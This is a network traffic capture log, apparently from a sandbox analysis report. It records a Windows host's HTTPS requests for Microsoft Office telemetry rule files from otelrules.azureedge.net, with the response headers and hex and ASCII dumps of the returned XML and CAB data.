2024-11-07 05:00:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-07 05:00:58 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:00:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:00:59 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:00:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 05 Nov 2024 17:40:36 GMT ETag: "0x8DCFDC0F4F27BCD" x-ms-request-id: a74cbab7-101e-0017-041c-3047c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050059Z-15869dbbcc6b2ncxhC1DFW2ztg000000015000000000kbpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:00:59 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-07 05:00:59 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:00 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 67314eae-f01e-005d-4c06-2f13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050100Z-17df447cdb5g2j9ghC1DFWev0800000003ng00000000khzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:00 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:00 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: bfca7b67-501e-005b-6e78-30d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050100Z-17df447cdb5c9wvxhC1DFWn08n00000003y000000000hy79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:00 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050100Z-16547b76f7fq9mcrhC1DFWq15w00000007p00000000098yb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:00 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:00 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:00 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050100Z-16547b76f7f22sh5hC1DFWyb4w00000007p0000000003cfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:00 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f37a8315-901e-002a-2902-2f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050100Z-17df447cdb5g2j9ghC1DFWev0800000003r000000000anqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
